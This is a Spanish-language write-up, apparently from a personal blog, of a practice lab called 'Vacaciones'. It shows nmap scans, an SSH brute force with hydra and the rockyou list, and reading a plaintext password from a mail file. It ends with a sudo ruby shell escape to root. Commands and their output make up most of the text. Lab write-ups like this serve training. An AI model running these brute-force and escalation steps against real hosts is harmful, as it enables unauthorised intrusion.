😐

[ noØfunny ]

Vacaciones

Laboratorio para practicar fuerza bruta contra SSH y escalada de privilegios en Linux.

Vacaciones

Enumeration

Escaneamos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 172.17.0.2
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
nmap -p 22,80 -sCV -oA nmap/openports 172.17.0.2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Miramos que carajo hay en la página web.

curl http://172.17.0.2
<!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->

Un miserable comentario con un pista terrible e indubitatible. Tenemos que hacer fuerza bruta con este usuario regalado.

hydra -l camilo -P /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt ssh://172.17.0.2 -I -F -t 16
[22][ssh] host: 172.17.0.2   login: camilo   password: password1

Y como debe ser encontramos una contraseña.

Nos conectamos por ssh con las credenciales encontradas.

ssh camilo@172.17.0.2

Lateral Movement

El comentario decía que juan le había dejado un correo electrónico, a por ello.

cat /var/mail/camilo/correo.txt
Hola Camilo,

Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb

Tremendo, una contraseña en texto plano. Iniciamos sesión con las credenciales de juan.

su juan

Privilege Escalation

Listamos los privilegios y comandos permitidos que tiene juan.

sudo -l
Matching Defaults entries for juan on f1f0e66ac149:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User juan may run the following commands on f1f0e66ac149:
    (ALL) NOPASSWD: /usr/bin/ruby

Puede ejecutar ruby como sudo y sin contraseña, my gosh. Buscamos en la web GTFOBins y encontramos la forma de obtener una shell con ruby.

sudo ruby -e 'exec "/bin/sh"'

Verificamos que estamos como root.

id
uid=0(root) gid=0(root) groups=0(root)